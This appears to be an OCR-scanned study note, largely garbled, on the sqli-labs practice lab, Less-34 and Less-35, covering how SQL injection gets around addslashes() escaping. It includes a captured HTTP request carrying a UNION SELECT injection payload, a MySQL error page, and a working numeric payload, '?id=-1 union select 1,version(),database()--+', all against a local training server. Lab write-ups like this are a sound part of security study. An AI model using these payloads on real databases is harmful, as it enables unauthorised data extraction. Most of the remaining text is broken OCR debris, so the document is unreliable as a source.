Accept-Language: zh-CN,zh;q=0.8,zh-TW,g=0.7 zh-HK;q=0.5,en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate
Referer: hitp:iM27.0.0 1/sqlilabsiLess-34/
Content-Type: application/x-www-form-urlencoded
Cortent-Length: 79
Connection: close
Jpgrade-Insecure-Requests: 1
Janame=admin%99' union select version(), database()--+&passwd=admin&submit=Submit
| =
v

185 42 W) B By = 'users' 3 3,



ENG K

Less-35 why care for addslashes()
R4 Bk raddslashes()

Wik payload:

?id=1"

&« c o ® 127.0.0.1/sqli-labs/Less-35/?id= T

i
<
=
2]
®
f::.

I

Welcome

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial
\WWW\sqli-labs\Less-35\index.php on line 39
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near '\' LIMIT 0,1" at line 1

Hint: The Query String you input is escaped as : 1\'

idA BEEA RG] SENG S, EMAOEENRET, AFEREY, HEEN, TR, AE¥ER.

¥ payload

?id=-1 union select 1,version(),database()--+

ENG

G5VE:

FiX HA-35@ER T, HEBE mERER S, sqimapBE kit Apayload, HRER &R, LG
REf L, XERETHR—AT, —FHEEN—NEINEIRL, B—HEBEN—ANEE, HERERFEIsqliE
N#EFsqli-labfIF %, #lSRM, RFEABAN

BRFENER, T IH .
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